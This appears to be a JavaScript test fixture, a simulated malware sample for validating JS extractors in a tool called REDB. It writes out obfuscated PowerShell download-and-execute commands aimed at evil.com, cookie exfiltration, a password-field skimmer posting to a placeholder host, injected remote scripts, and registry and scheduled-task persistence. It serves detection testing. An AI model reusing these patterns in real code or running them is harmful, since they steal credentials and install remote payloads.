Jaehoon Koo

// Simulated malicious JavaScript sample for testing REDB JS extractors
// This file contains common malware patterns for analysis validation

var _0x4a2f = ["\x68\x74\x74\x70\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d\x2f\x70\x61\x79\x6c\x6f\x61\x64"];
var _0xb3 = ["\x57\x53\x63\x72\x69\x70\x74"];

// Obfuscated string reconstruction
var cmd = String.fromCharCode(112, 111, 119, 101, 114, 115, 104, 101, 108, 108);
var encoded_payload = "cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC1jICJJRVggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9ldmlsLmNvbS9zdGFnZTInKSI=";

// WScript-based malware pattern
var shell = WScript.CreateObject("WScript.Shell");
var fso = WScript.CreateObject("Scripting.FileSystemObject");

// Eval-based code execution
eval(function(p, a, c, k, e, d) {
    while (c--) { if (k[c]) { p = p.replace(new RegExp('\\b' + c.toString(a) + '\\b', 'g'), k[c]) } }
    return p
}('1 0="2://3.4/5";', 6, 6, 'url|var|http|malware|example|download'.split('|'), 0, {}));

// Network communication
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.1.100:8080/exfil", true);
xhr.send(document.cookie);

// File system operations
var stream = WScript.CreateObject("ADODB.Stream");
stream.Open();
stream.Type = 1;

// Registry manipulation
shell.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater", "C:\\Users\\Public\\malware.exe");

// Dynamic script injection
var s = document.createElement("script");
s.src = "https://evil-cdn.tk/inject.js";
document.body.appendChild(s);

// DOM skimmer pattern
document.querySelector("input[type=password]").addEventListener("keyup", function(e) {
    fetch("https://skimmer.gq/collect", {
        method: "POST",
        body: JSON.stringify({val: e.target.value})
    });
});

// Crypto miner pattern
var worker = new Worker("data:application/javascript," + atob(encoded_payload));

// Additional obfuscation: concatenated strings
var c2_url = "ht" + "tp" + "://" + "bad" + "guy" + ".r" + "u/" + "gate";

// setTimeout with string execution
setTimeout("eval(atob('" + encoded_payload + "'))", 1000);

function downloadPayload(url) {
    var req = WScript.CreateObject("MSXML2.XMLHTTP");
    req.open("GET", url, false);
    req.send();
    return req.responseText;
}

function persist() {
    shell.Run("cmd.exe /c schtasks /create /tn UpdateCheck /tr C:\\payload.exe /sc daily", 0, false);
    shell.Exec("powershell -ep bypass -c IEX(payload)");
}

downloadPayload(_0x4a2f[0]);
persist();

// Packer-style single-line payload to give the obfuscation heuristic the
// strong-signal evidence it expects from real obfuscator.io output: hex-escape
// density >5% and a max_line >10K chars. The repeat() saturates both.
var _0xpayload="\x68\x74\x74\x70\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d\x2f\x73\x74\x61\x67\x65\x32\x2e\x6a\x73\x3f\x69\x64\x3d".repeat(800)+"\x22\x49\x45\x58\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x4e\x65\x74\x2e\x57\x65\x62\x43\x6c\x69\x65\x6e\x74\x29\x2e\x44\x6f\x77\x6e\x6c\x6f\x61\x64\x53\x74\x72\x69\x6e\x67\x28\x27\x68\x74\x74\x70\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d\x2f\x70\x61\x79\x6c\x6f\x61\x64\x27\x29\x22";